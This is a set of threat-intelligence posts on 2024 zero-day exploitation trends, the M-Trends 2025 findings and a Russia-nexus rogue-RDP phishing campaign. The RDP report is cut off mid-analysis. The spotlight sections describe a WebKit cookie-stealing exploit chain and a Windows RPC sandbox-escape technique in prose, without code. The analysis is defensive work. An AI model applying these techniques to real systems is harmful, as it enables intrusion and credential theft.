• Zero-day exploitation continues to grow gradually. The 75 zero-day vulnerabilities exploited in 2024 follow a pattern that has emerged over the past four years. While individual year counts have fluctuated, the average trendline indicates that the rate of zero-day exploitation continues to grow at a slow but steady pace.

• Enterprise-focused technology targeting continues to expand. GTIG continued to observe an increase in adversary exploitation of enterprise-specific technologies throughout 2024. In 2023, 37% of zero-day vulnerabilities targeted enterprise products. This jumped to 44% in 2024, primarily fueled by the increased exploitation of security and networking software and appliances.

• Attackers are increasing their focus on security and networking products. Zero-day vulnerabilities in security software and appliances were a high-value target in 2024. We identified 20 security and networking vulnerabilities, which was over 60% of all zero-day exploitation of enterprise technologies. Exploitation of these products, compared to end-user technologies, can more effectively and efficiently lead to extensive system and network compromises, and we anticipate adversaries will continue to increase their focus on these technologies.

• Vendors are changing the game. Vendor investments in exploit mitigations are having a clear impact on where threat actors are able to find success. We are seeing notable decreases in zero-day exploitation of some historically popular targets such as browsers and mobile operating systems.

• Actors conducting cyber espionage still lead attributed zero-day exploitation. Between government-backed groups and customers of commercial surveillance vendors (CSVs), actors conducting cyber espionage operations accounted for over 50% of the vulnerabilities we could attribute in 2024. People's Republic of China (PRC)-backed groups exploited five zero-days, and customers of CSVs exploited eight, continuing their collective leading role in zero-day exploitation. For the first year ever, we also attributed the exploitation of the same volume of 2024 zero-days (five) to North Korean actors mixing espionage and financially motivated operations as we did to PRC-backed groups.

Looking at the Numbers 

GTIG tracked 75 exploited-in-the-wild zero-day vulnerabilities that were disclosed in 2024. This number appears to be consistent with a consolidating upward trend that we have observed over the last four years. After an initial spike in 2021, yearly counts have fluctuated but not returned to the lower numbers we saw in 2021 and prior.

While there are multiple factors involved in discovery of zero-day exploitation, we note that continued improvement and ubiquity of detection capabilities along with more frequent public disclosures have both resulted in larger numbers of detected zero-day exploitation compared to what was observed prior to 2021.

Figure 1: Zero-days by year

Higher than any previous year, 44% (33 vulnerabilities) of tracked 2024 zero-days affected enterprise technologies, continuing the growth and trends we observed last year. The remaining 42 zero-day vulnerabilities targeted end-user technologies.

Enterprise Exploitation Expands in 2024 as Browser and Mobile Exploitation Drops End-User Platforms and Products

In 2024, 56% (42) of the tracked zero-days targeted end-user platforms and products, which we define as devices and software that individuals use in their day-to-day life, although we acknowledge that enterprises also often use these. All of the vulnerabilities in this category were used to exploit browsers, mobile devices, and desktop operating systems.

• Zero-day exploitation of browsers and mobile devices fell drastically, decreasing by about a third for browsers and by about half for mobile devices compared to what we observed last year (17 to 11 for browsers, and 17 to 9 for mobile).

• Chrome was the primary focus of browser zero-day exploitation in 2024, likely reflecting the browser's popularity among billions of users.

• Exploit chains made up of multiple zero-day vulnerabilities continue to be almost exclusively (~90%) used to target mobile devices.

• Third-party components continue to be exploited in Android devices, a trend we discussed in last year’s analysis. In 2023, five of the seven zero-days exploited in Android devices were flaws in third-party components. In 2024, three of the seven zero-days exploited in Android were found in third-party components. Third-party components are likely perceived as lucrative targets for exploit development since they can enable attackers to compromise many different makes and models of devices across the Android ecosystem.

• 2024 saw an increase in the total number of zero-day vulnerabilities affecting desktop operating systems (OSs) (22 in 2024 vs. 17 in 2023), indicating that OSs continue to be a strikingly large target. The proportional increase was even greater, with OS vulnerabilities making up just 17% of total zero-day exploitation in 2023, compared to nearly 30% in 2024. 

• Microsoft Windows exploitation continued to increase, climbing from 13 zero-days in 2022, to 16 in 2023, to 22 in 2024. As long as Windows remains a popular choice both in homes and professional settings, we expect that it will remain a popular target for both zero-day and n-day (i.e. a vulnerability exploited after its patch has been released) exploitation by threat actors.

Figure 2: Zero-days in end-user products in 2023 and 2024

Enterprise Technologies

In 2024, GTIG identified the exploitation of 33 zero-days in enterprise software and appliances. We consider enterprise products to include those mainly utilized by businesses or in a business environment. While the absolute number is slightly lower than what we saw in 2023 (36 vulnerabilities), the proportion of enterprise-focused vulnerabilities has risen from 37% in 2023 to 44% in 2024. Twenty of the 33 enterprise-focused zero-days targeted security and network products, a slight increase from the 18 observed in this category for 2023, but a 9% bump when compared proportionally to total zero-days for the year.

The variety of targeted enterprise products continues to expand across security and networking products, with notable targets in 2024 including Ivanti Cloud Services Appliance, Palo Alto Networks PAN-OS, Cisco Adaptive Security Appliance, and Ivanti Connect Secure VPN. Security and network tools and devices are designed to connect widespread systems and devices with high permissions required to manage the products and their services, making them highly valuable targets for threat actors seeking efficient access into enterprise networks. Endpoint detection and response (EDR) tools are not usually equipped to work on these products, limiting available capabilities to monitor them. Additionally, exploit chains are not generally required to exploit these systems, giving extensive power to individual vulnerabilities that can single-handedly achieve remote code execution or privilege escalation.

Over the last several years, we have also tracked a general increase of enterprise vendors targeted. In 2024, we identified 18 unique enterprise vendors targeted by zero-days. While this number is slightly less than the 22 observed in 2023, it remains higher than all prior years' counts. It is also a stark increase in the proportion of enterprise vendors for the year, given that the 18 unique enterprise vendors were out of 20 total vendors for 2024. 2024's count is still a significant proportional increase compared to the 22 unique enterprise vendors targeted out of a total of 23 in 2023.

Figure 3: Number of unique enterprise vendors targeted

The proportion of zero-days exploited in enterprise devices in 2024 reinforces a trend that suggests that attackers are intentionally targeting products that can provide expansive access and fewer opportunities for detection.

Exploitation by Vendor

The vendors affected by multiple 2024 zero-day vulnerabilities generally fell into two categories: big tech (Microsoft, Google, and Apple) and vendors who supply security and network-focused products. As expected, big tech took the top two spots, with Microsoft at 26 and Google at 11. Apple slid to the fourth most frequently exploited vendor this year, with detected exploitation of only five zero-days. Ivanti was third most frequently targeted with seven zero-days, reflecting increased threat actor focus on networking and security products. Ivanti's placement in the top three reflects a new and crucial change, where a security vendor was targeted more frequently than a popular end-user technology-focused vendor. We discuss in a following section how PRC-backed exploitation has focused heavily on security and network technologies, one of the contributing factors to the rise in Ivanti targeting.

We note that exploitation is not necessarily reflective of a vendor's security posture or software development processes, as targeted vendors and products depend on threat actor objectives and capabilities.

Types of Exploited Vulnerabilities

Threat actors continued to utilize zero-day vulnerabilities primarily for the purposes of gaining remote code execution and elevating privileges. In 2024, these consequences accounted for over half (42) of total tracked zero-day exploitation.

Three vulnerability types were most frequently exploited. Use-after-free vulnerabilities have maintained their prevalence over many years, with eight in 2024, and are found in a variety of targets including hardware, low-level software, operating systems, and browsers. Command injection (also at eight, including OS command injection) and cross-site scripting (XSS) (six) vulnerabilities were also frequently exploited in 2024. Both code injection and command injection vulnerabilities were observed almost entirely targeting networking and security software and appliances, displaying the intent to use these vulnerabilities in order to gain control over larger systems and networks. The XSS vulnerabilities were used to target a variety of products, including mail servers, enterprise software, browsers, and an OS.

All three of these vulnerability types stem from software development errors and require meeting higher programming standards in order to prevent them from occurring. Safe and preventative coding practices, including, but not limited to code reviews, updating legacy codebases, and utilizing up-to-date libraries, can appear to hinder production timelines. However, patches prove the potential for these security exposures to be prevented in the first place with proper intention and effort and ultimately reduce the overall effort to properly maintain a product or codebase.

Who Is Driving Exploitation

Figure 4: 2024 attributed zero-day exploitation

Due to the stealthy access zero-day vulnerabilities can provide into victim systems and networks, they continue to be a highly sought after capability for threat actors. GTIG tracked a variety of threat actors exploiting zero-days in a variety of products in 2024, which is consistent with our previous observations that zero-day exploitation has diversified in both platforms targeted and actors exploiting them. We attributed the exploitation of 34 zero-day vulnerabilities in 2024, just under half of the total 75 we identified in 2024. While the proportion of exploitation that we could attribute to a threat actor dipped slightly from our analysis of zero-days in 2023, it is still significantly higher than the ~30% we attributed in 2022. While this reinforces our previous observation that platforms' investment in exploit mitigations are making zero-days harder to exploit, the security community is also slowly improving our ability to identify that activity and attribute it to threat actors.

Consistent with trends observed in previous years, we attributed the highest volume of zero-day exploitation to traditional espionage actors, nearly 53% (18 vulnerabilities) of total attributed exploitation. Of these 18, we attributed the exploitation of 10 zero-days to likely nation-state-sponsored threat groups and eight to CSVs.

CSVs Continue to Increase Access to Zero-Day Exploitation

While we still expect government-backed actors to continue their historic role as major players in zero-day exploitation, CSVs now contribute a significant volume of zero-day exploitation. Although the total count and proportion of zero-days attributed to CSVs declined from 2023 to 2024, likely in part due to their increased emphasis on operational security practices, the 2024 count is still substantially higher than the count from 2022 and years prior. Their role further demonstrates the expansion of the landscape and the increased access to zero-day exploitation that these vendors now provide other actors.

In 2024, we observed multiple exploitation chains using zero-days developed by forensic vendors that required physical access to a device (CVE-2024-53104, CVE-2024-32896, CVE-2024-29745, CVE-2024-29748). These bugs allow attackers to unlock the targeted mobile device with custom malicious USB devices. For instance, GTIG and Amnesty International's Security Lab discovered and reported on CVE-2024-53104 in exploit chains developed by forensic company Cellebrite and used against the Android phone of a Serbian student and activist by Serbian security services. GTIG worked with Android to patch these vulnerabilities in the February 2025 Android security bulletin. 

PRC-Backed Exploitation Remains Persistent

PRC threat groups remained the most consistent government-backed espionage developer and user of zero-days in 2024. We attributed nearly 30% (five vulnerabilities) of traditional espionage zero-day exploitation to PRC groups, including the exploitation of zero-day vulnerabilities in Ivanti appliances by UNC5221 (CVE-2023-46805 and CVE-2024-21887), which GTIG reported on extensively. During this campaign, UNC5221 chained multiple zero-day vulnerabilities together, highlighting these actors' willingness to expend resources to achieve their apparent objectives. The exploitation of five vulnerabilities that we attributed to PRC groups exclusively focused on security and networking technologies. This continues a trend that we have observed from PRC groups for several years across all their operations, not just in zero-day exploitation.

North Korean Actors Mix Financially Motivated and Espionage Zero-Day Exploitation

For the first time since we began tracking zero-day exploitation in 2012, in 2024, North Korean state actors tied for the highest total number of attributed zero-days exploited (five vulnerabilities) with PRC-backed groups. North Korean groups are notorious for their overlaps in targeting scope; tactics, techniques, and procedures (TTPs); and tooling that demonstrate how various intrusion sets support the operations of other activity clusters and mix traditional espionage operations with attempts to fund the regime. This focus on zero-day exploitation in 2024 marks a significant increase in these actors' focus on this capability. North Korean threat actors exploited two zero-day vulnerabilities in Chrome as well as three vulnerabilities in Windows products.

• In October 2024, it was publicly reported that APT37 exploited a zero-day vulnerability in Microsoft products. The threat actors reportedly compromised an advertiser to serve malicious advertisements to South Korean users that would trigger zero-click execution of CVE-2024-38178 to deliver malware. Although we have not yet corroborated the group's exploitation of CVE-2024-38178 as reported, we have observed APT37 previously exploit Internet Explorer zero-days to enable malware distribution.

• North Korean threat actors also reportedly exploited a zero-day vulnerability in the Windows AppLocker driver (CVE-2024-21338) in order to gain kernel-level access and turn off security tools. This technique abuses legitimate and trusted but vulnerable already-installed drivers to bypass kernel-level protections and provides threat actors an effective means to bypass and mitigate EDR systems.

Non-State Exploitation

In 2024, we linked almost 15% (five vulnerabilities) of attributed zero-days to non-state financially motivated groups, including a suspected FIN11 cluster's exploitation of a zero-day vulnerability in multiple Cleo managed file transfer products (CVE-2024-55956) to conduct data theft extortion. This marks the third year of the last four (2021, 2023, and 2024) in which FIN11 or an associated cluster has exploited a zero-day vulnerability in its operations, almost exclusively in file transfer products. Despite the otherwise varied cast of financially motivated threat actors exploiting zero-days, FIN11 has consistently dedicated the resources and demonstrated the expertise to identify, or acquire, and exploit these vulnerabilities from multiple different vendors.

We attributed an additional two zero-days in 2024 to non-state groups with mixed motivations, conducting financially motivated activity in some operations but espionage in others. Two vulnerabilities (CVE-2024-9680 and CVE-2024-49039, detailed in the next section) were exploited as zero-days by CIGAR (also tracked as UNC4895 or publicly reported as RomCom), a group that has conducted financially motivated operations alongside espionage likely on behalf of the Russian government, based partly on observed highly specific targeting focused on Ukrainian and European government and defense organizations.

A Zero-Day Spotlight on CVE-2024-44308, CVE-2024-44309, and CVE-2024-49039: A look into zero-days discovered by GTIG researchers Spotlight #1: Stealing Cookies with Webkit

On Nov. 12, 2024, GTIG detected a potentially malicious piece of JavaScript code injected on https://online.da.mfa.gov[.]ua/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.4. The JavaScript was loaded directly from the main page of the website of the Diplomatic Academy of Ukraine, online.da.mfa.gov.ua. Upon further analysis, we discovered that the JavaScript code was a WebKit exploit chain specifically targeting MacOS users running on Intel hardware.

The exploit consisted of a WebKit remote code execution (RCE) vulnerability (CVE-2024-44308), leveraging a logical Just-In-Time (JIT) error, succeeded by a data isolation bypass (CVE-2024-44309). The RCE vulnerability employed simple and old JavaScriptCore exploitation techniques that are publicly documented, namely:

• Setting up addrof/fakeobj primitives using the vulnerability

• Leaking StructureID

• Building a fake TypedArray to gain arbitrary read/write

• JIT compiling a function to get a RWX memory mapping where a shellcode can be written and executed

The shellcode traversed a set of pointers and vtables to find and call WebCookieJar::cookieRequestHeaderFieldValue with an empty firstPartyForCookies parameter, allowing the threat actor to access cookies of any arbitrary website passed as the third parameter to cookieRequestHeaderFieldValue.

The end goal of the exploit is to collect users' cookies in order to access login.microsoftonline.com. The cookie values were directly appended in a GET request sent to https://online.da.mfa.gov.ua/gotcookie?.

This is not the first time we have seen threat actors stay within the browser to collect users' credentials. In March 2021, a targeted campaign used a zero-day against WebKit on iOS to turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites. In August 2024, a watering hole on various Mongolian websites used Chrome and Safari n-day exploits to exfiltrate users’ credentials.

While it is unclear why this abbreviated approach was taken as opposed to deploying full-chain exploits, we identified several possibilities, including:

• The threat actor was not able to get all the pieces to have a full chain exploit. In this case, the exploit likely targeted only the MacIntel platform because they did not have a Pointer Authentication Code (PAC) bypass to target users using Apple Silicon devices. A PAC bypass is required to make arbitrary calls for their data isolation bypass.

• The price for a full chain exploit was too expensive, especially when the chain is meant to be used at a relatively large scale. This especially includes watering hole attacks, where the chances of being detected are high and subsequently might quickly burn the zero-day vulnerability and exploit.

• Stealing credentials is sufficient for their operations and the information they want to collect.

This trend is also observed beyond the browser environment, wherein third-party mobile applications (e.g., messaging applications) are targeted, and threat actors are stealing the information only accessible within the targeted application.

Spotlight #2: CIGAR Local Privilege Escalations CIGAR's Browser Exploit Chain

In early October 2024, GTIG independently discovered a fully weaponized exploit chain for Firefox and Tor browsers employed by CIGAR. CIGAR is a dual financial- and espionage-motivated threat group assessed to be running both types of campaigns in parallel, often simultaneously. In 2023, we observed CIGAR utilizing an exploit chain in Microsoft Office (CVE-2023-36884) as part of an espionage campaign targeting attendees of the Ukrainian World Congress and NATO Summit; however, in an October 2024 campaign, the usage of the Firefox exploit appears to be more in line with the group's financial motives.

Our analysis, which broadly matched ESET's findings, indicated that the browser RCE used is a use-after-free vulnerability in the Animation timeline. The vulnerability, known as CVE-2024-9680, was an n-day at the time of discovery by GTIG.

Upon further analysis, we identified that the embedded sandbox escape, which was also used as a local privilege escalation to NT/SYSTEM, was exploiting a newfound vulnerability. We reported this vulnerability to Mozilla and Microsoft, and it was later assigned CVE-2024-49039.

Double-Down on Privilege Escalation: from Low Integrity to SYSTEM

Firefox uses security sandboxing to introduce an additional security boundary and mitigate the effects of malicious code achieving code execution in content processes. Therefore, to achieve code execution on the host, an additional sandbox escape is required.

The in-the-wild CVE-2024-49039 exploit, which contained the PDB string C:\etalon\PocLowIL\@Output\PocLowIL.pdb, could achieve both a sandbox escape and privilege escalation. The exploit abused two distinct issues to escalate privileges from Low Integrity Level (IL) to SYSTEM: the first allowed it to access the WPTaskScheduler RPC Interface (UUID: {33d84484-3626-47ee-8c6f-e7e98b113be1}), normally not accessible from a sandbox Firefox content process via the "less-secure endpoint" ubpmtaskhostchannel created in ubpm.dll; the second stems from insufficient Access Control List (ACL) checks in WPTaskScheduler.dll RPC server, which allowed an unprivileged user to create and execute scheduled tasks as SYSTEM.

As detailed in "How to secure a Windows RPC Server, and how not to.," there are three ways to secure an RPC server, and all three were utilized in WPTaskScheduler:

1. Securing the endpoint: In WPTaskScheduler::TsiRegisterRPCInterface, the third argument to RpcServerUseProtseq is a non-NULL security descriptor (SD).

• This SD should prevent the Firefox "Content" process from accessing the WPTaskScheduler RPC endpoint. However, a lesser known "feature" of RPC is that RPC endpoints are multiplexed, meaning that if there is a less secure endpoint in the same process, it is possible to access an interface indirectly from another endpoint (with a more permissive ACL). This is what the exploit does: instead of accessing RPC using the ALPC port that the WPTaskScheduler.dll sets up, it resolves the interface indirectly via upbmtaskhostchannel. ubpm.dll uses a NULL security descriptor when initializing the interface, instead relying on the UbpmpTaskHostChannelInterfaceSecurityCb callback for ACL checks:

Figure 5: NULL security descriptor used when creating "ubpmtaskhostchannel" RPC endpoint in ubpm.dll::UbpmEnableTaskHostChannelRpcInterface, exposing a less secure endpoint for WPTaskScheduler interface

2. Securing the interface: In the same WPTaskScheduler::TsiRegisterRPCInterface function, an overly permissive security descriptor was used as an argument to RpcServerRegisterIf3. As we can see on the listing below, the CVE-2024-49039 patch addressed this by introducing a more locked-down SD.

Figure 6: Patched WPTaskScheduler.dll introduces a more restrictive security descriptor when registering an RPC interface

3. Ad-hoc Security: Implemented in WPTaskScheduler.dll::CallerHasAccess and called prior to enabling or executing any scheduled task. The function performs checks on whether the calling user is attempting to execute a task created by them or one they should be able to access but does not perform any additional checks to prevent calls originating from an unprivileged user.

CVE-2024-49039 addresses the issue by applying a more restrictive ACL to the interface; however, the issue with the less secure endpoint described in "1. Securing the endpoint" remains, and a restricted token process is still able to access the endpoint.

Unidentified Actor Using the Same Exploits

In addition to CIGAR, we discovered another, likely financially motivated, group using the exact same exploits (albeit with a different payload) while CVE-2024-49039 was still a zero-day. This actor utilized a watering hole on a legitimate, compromised cryptocurrency news website redirecting to an attacker-controlled domain hosting the same CVE-2024-9680 and CVE-2024-49039 exploit.

Outlook and Implications

Defending against zero-day exploitation continues to be a race of strategy and prioritization. Not only are zero-day vulnerabilities becoming easier to procure, but attackers finding use in new types of technology may strain less experienced vendors. While organizations have historically been left to prioritize patching processes based on personal or organizational threats and attack surfaces, broader trends can inform a more specific approach alongside lessons learned from major vendors' mitigation efforts.

We expect zero-day vulnerabilities to maintain their allure to threat actors as opportunities for stealth, persistence, and detection evasion. While we observed trends regarding improved vendor security posture and decreasing numbers around certain historically popular products—particularly mobile and browsers—we anticipate that zero-day exploitation will continue to rise steadily. Given the ubiquity of operating systems and browsers in daily use, big tech vendors are consistently high-interest targets, and we expect this to continue. Phones and browsers will almost certainly remain popular targets, although enterprise software and appliances will likely see a continued rise in zero-day exploitation. Big tech companies have been victims of zero-day exploitation before and will continue to be targeted. This experience, in addition to the resources required to build more secure products and detect vulnerabilities in responsible manners, permits larger companies to approach zero-days as a more manageable problem.

For newly targeted vendors and those with products in the growing prevalence of targeted enterprise products, security practices and procedures should evolve to consider how successful exploitation of these products could bypass typical protection mechanisms. Preventing successful exploitation will rely heavily on these vendors' abilities to enforce proper and safe coding practices. We continue to see the same types of vulnerabilities exploited over time, indicating patterns in what weaknesses attackers seek out and find most beneficial to exploit. Continued existence and exploitation of similar issues makes zero-days easier; threat actors know what to look for and where exploitable weaknesses are most pervasive.

Vendors should account for this shift in threat activity and address gaps in configurations and architectural decisions that could permit exploitation of a single product to cause irreparable damage. This is especially true for highly valuable tools with administrator access and/or widespread reach across systems and networks. Best practices continue to represent a minimum threshold of what security standards an architecture should demonstrate, including zero-trust fundamentals such as least-privilege access and network segmentation. Continuous monitoring should occur where possible in order to restrict and end unauthorized access as swiftly as possible, and vendors will need to account for EDR capabilities for technologies that currently lack them (e.g., many security and networking products). GTIG recommends acute threat surface awareness and respective due diligence in order to defend against today's zero-day threat landscape. Zero-day exploitation will ultimately be dictated by vendors' decisions and ability to counter threat actors' objectives and pursuits.

One of the ways threat actors keep up with the constantly evolving cyber defense landscape is by raising the level of sophistication of their attacks. This trend can be seen across many of our engagements, particularly when responding to China-nexus groups. These actors have demonstrated the ability to create custom malware ecosystems, identify and use zero-day vulnerabilities in security and other appliances, leverage proxy networks akin to botnets, target edge devices and platforms that traditionally lack endpoint detection and response, and employ custom obfuscators in their malware. They take these extra steps to evade detection, stifle analysis, and ultimately stay on systems for longer periods of time. 

However, not all successful attacks are highly complex and technical. Many times attackers will take advantage of the opportunities that are made available to them. This includes using credentials stolen in infostealer operations to gain initial access. Mandiant has seen such a rise in infostealer use that stolen credentials are now the second highest initial infection vector, making up 16% of our investigations. Other ways attackers are taking advantage of opportunities is by exploiting gaps and risks introduced in cloud migrations, and targeting unsecured data repositories to obtain credentials and other sensitive information. 

Today we released M-Trends 2025, the 16th edition of our annual report, to help organizations stay ahead of all types of attacks. We dive deep into several trends and share data and analysis from the frontlines of our incident response engagements to arm defenders with critical insights into the latest cyber threats.

aside_block

<ListValue: [StructValue([('title', 'M-Trends 2025 is available!'), ('body', <wagtail.rich_text.RichText object at 0x3e8dadf9c5e0>), ('btn_text', 'Read now'), ('href', 'https://cloud.google.com/security/resources/m-trends?utm_source=m-trends-launch-blog&utm_medium=blog&utm_campaign=FY25-Q2-global-GCP33067-website-dl-dgcsm-m-trends-2025-report&utm_content=m-trends-launch-blog&utm_term=-'), ('image', <GAEImage: m-trends 2025 cover>)])]>

Data and Trends

M-Trends 2025 data is based on more than 450,000 hours of Mandiant Consulting investigations. The metrics are based on investigations of targeted attack activity conducted between Jan. 1, 2024 and Dec. 31, 2024. Key findings in M-Trends 2025 include: 

• 55% of threat groups active in 2024 were financially motivated, which marks a steady increase, and 8% of threat groups were motivated by espionage.

• Exploits continue to be the most common initial infection vector (33%), and for the first time stolen credentials rose to the second most common in 2024 (16%).

• The top targeted industries include financial (17.4%), business and professional services (11.1%), high tech (10.6%), government (9.5%), and healthcare (9.3%).

• Global median dwell time rose to 11 days from 10 days in 2023. Global median dwell time was 26 days when external entities notified, 5 days when adversaries notified (notably in ransomware cases), and 10 days when organizations discovered malicious activity internally.

M-Trends 2025 dives deep into the aforementioned infostealer, cloud, and unsecured data repository trends, and several other topics, including:

• Democratic People's Republic of Korea deploying citizens as remote IT contractors, using false identities to generate revenue and fund national interests.

• Iran-nexus threat actors ramping up cyber operations in 2024, notably targeting Israeli entities and using a variety of methods to improve intrusion success.

• Attackers targeting cloud-based stores of centralized authority, such as single sign-on portals, to gain broad access.

• Increased targeting of Web3 technologies such as cryptocurrencies and blockchains for theft, money laundering, and financing illicit activities.

Recommendations for Organizations

Each article in M-Trends 2025 offers critical recommendations for organizations to enhance their cybersecurity postures, with several of them being applicable to multiple trends. We advise that organizations:

• Implement a layered security approach that emphasizes sound fundamentals such as vulnerability management, least privilege, and hardening.

• Enforce FIDO2-compliant multi-factor authentication across all user accounts, especially privileged accounts.

• Invest in advanced detection technologies and develop robust incident response plans. 

• Improve logging and monitoring practices to identify suspicious activity and reduce dwell time. 

• Consider threat hunting exercises to proactively search for indicators of compromise.

• Implement strong security controls for cloud migrations and deployments. 

• Regularly assess and audit cloud environments for vulnerabilities and misconfigurations.

• Mitigate insider risk by practicing thorough vetting processes for employees (especially remote workers), monitoring for suspicious activity, and enforcing strict access controls.

• Keep up-to-date with the latest threat intelligence, adapt security strategies accordingly, and regularly review and update security policies and procedures to address evolving threats. 

Be Ready to Respond

The M-Trends mission has always been to equip security professionals with frontline insights into the latest evolving cyberattacks and to provide practical and actionable learnings for better organizational security.

Read the full M-Trends 2025 report today, and register for our M-Trends 2025 webinar series for a more in-depth look at the data, topics, and recommendations discussed in the report. The M-Trends 2025 Executive Edition is also available, featuring a high-level look at the data and trends, along with key recommendations. Listen to the M-Trends 2025 episode of the Cloud Security Podcast to learn more about what the findings mean, and how the report gets created.

Written by: Rohit Nambiar

Executive Summary

In October 2024, Google Threat Intelligence Group (GTIG) observed a novel phishing campaign targeting European government and military organizations that was attributed to a suspected Russia-nexus espionage actor we track as UNC5837. The campaign employed signed .rdp file attachments to establish Remote Desktop Protocol (RDP) connections from victims' machines. Unlike typical RDP attacks focused on interactive sessions, this campaign creatively leveraged resource redirection (mapping victim file systems to the attacker servers) and RemoteApps (presenting attacker-controlled applications to victims). Evidence suggests this campaign may have involved the use of an RDP proxy tool like PyRDP to automate malicious activities like file exfiltration and clipboard capture. This technique has been previously dubbed as “Rogue RDP.”

The campaign likely enabled attackers to read victim drives, steal files, capture clipboard data (including passwords), and obtain victim environment variables. While we did not observe direct command execution on victim machines, the attackers could present deceptive applications for phishing or further compromise. The primary objective of the campaign appears to be espionage and file theft, though the full extent of the attacker's capabilities remains uncertain. This campaign serves as a stark reminder of the security risks associated with obscure RDP functionalities, underscoring the importance of vigilance and proactive defense.

Introduction

Remote Desktop Protocol (RDP) is a legitimate Windows service that has been well researched by the security community. However, most of the security community’s existing research is focused on the adversarial use of RDP to control victim machines via interactive sessions. 

This campaign included use of RDP that was not focused on interactive control of victim machines. Instead, adversaries leveraged two lesser-known features of the RDP protocol to present an application (the nature of which is currently unknown) and access victim resources. Given the low prevalence of this tactic, technique, and procedure (TTP) in previous reporting, we seek to explore the technical intricacies of adversary tradecraft abusing the following functionality of RDP:

• RDP Property Files (.rdp configuration files)

• Resource redirection (e.g. mapping victim file systems to the RDP server)

• RemoteApps (i.e. displaying server-hosted applications to victim)

Additionally, we will shed light on PyRDP, an open-source RDP proxy tool that offers attractive automation capabilities to attacks of this nature.

By examining the intricacies of the tradecraft observed, we gain not only a better understanding of existing campaigns that have employed similar tradecraft, but of attacks that may employ these techniques in the future.

Campaign Operations

This campaign tracks a wave of suspected Russian espionage activity targeting European government and military organizations via widespread phishing. Google Threat Intelligence Group (GTIG) attributes this activity to a suspected Russia-nexus espionage actor group we refer to as UNC5837. The Computer Emergency Response Team of Ukraine (CERT-UA) reported this campaign on Oct. 29, 2024, noting the use of mass-distributed emails with.rdp file attachments among government agencies and other Ukrainian organizations. This campaign has also been documented by Microsoft, TrendMicro, and Amazon.

The phishing email in the campaign claimed to be part of a project in conjunction with Amazon, Microsoft, and the Ukrainian State Secure Communications and Information Security Agency. The email included a signed .rdp file attachment purporting to be an application relevant to the described project. Unlike more common phishing lures, the email explicitly stated no personal data was to be provided and if any errors occurred while running the attachment, to ignore it as an error report would be automatically generated.

Figure 1: Campaign email sample

Executing the signed attachment initiates an RDP connection from the victim's machine. The attachment is signed with a Let’s Encrypt certificate issued to the domain the RDP connection is established with. The signed nature of the file bypasses the typical yellow warning banner, which could otherwise alert the user to a potential security risk. More information on signature-related characteristics of these files are covered in a later section.

Figure 2: Unsigned RDP connection — warning banner

The malicious .rdp configuration file specifies that, when executed, an RDP connection is initiated from the victim’s machine while granting the adversary read & write access to all victim drives and clipboard content. Additionally, it employs the RemoteApp feature, which presents a deceptive application titled "AWS Secure Storage Connection Stability Test" to the victim's machine. This application, hosted on the attacker's RDP server, masquerades as a locally installed program, concealing its true, potentially malicious nature. While the application's exact purpose remains undetermined, it may have been used for phishing or to trick the user into taking action on their machine, thereby enabling further access to the victim's machine. 

Further analysis suggests the attacker may have used an RDP proxy tool like PyRDP (examined in later sections), which could automate malicious activities such as file exfiltration and clipboard capture, including potentially sensitive data like passwords. While we cannot confirm the use of an RDP proxy tool, the existence, ease of accessibility, and functionalities offered by such a tool make it an attractive option for this campaign. Regardless of whether such a tool was used or not, the tool is bound to the permissions granted by the RDP session. At the time of writing, we are not aware of an RDP proxy tool that exploits vulnerabilities in the RDP protocol, but rather gives enhanced control over the established connection. 

The techniques seen in this campaign, combined with the complexity of how they interact with each other, make it tough for incident responders to assess the true impact to victim machines. Further, the number of artifacts left to perform post-mortem are relatively small, compared to other attack vectors. Because existing research on the topic is speculative regarding how much control an attacker has over the victim, we sought to dive deeper into the technical details of the technique components. While full modi operandi cannot be conclusively determined, UNC5837’s primary objective appears to be espionage and file stealing.

Deconstructing the Attack: A Deep Dive into RDP Techniques Remote Desktop Protocol

The RDP is used for communication between the Terminal Server and Terminal Server Client. RDP works with the concept of “virtual channels” that are capable of carrying presentation data, keyboard/mouse activity, clipboard data, serial device information, and more. Given these capabilities, as an attack vector, RDP is commonly seen as a route for attackers in possession of valid victim credentials to gain full graphical user interface (GUI) access to a machine. However, the protocol supports other interesting capabilities that can facilitate less conventional attack techniques.

RDP Configuration Files

RDP has a number of properties that can be set to customize the behavior of a remote session (e.g., IP to connect to, display settings, certificate options). While most are familiar with configuring RDP sessions via a traditional GUI (mstsc.exe), these properties can also be defined in a configuration file with the .rdp extension which, when executed, achieves the same effect.

The following .rdp file was seen as an email attachment (SHA256): ba4d58f2c5903776fe47c92a0ec3297cc7b9c8fa16b3bf5f40b46242e7092b46

An excerpt of this .rdp file is displayed in Figure 3 with annotations describing some of the configuration settings.

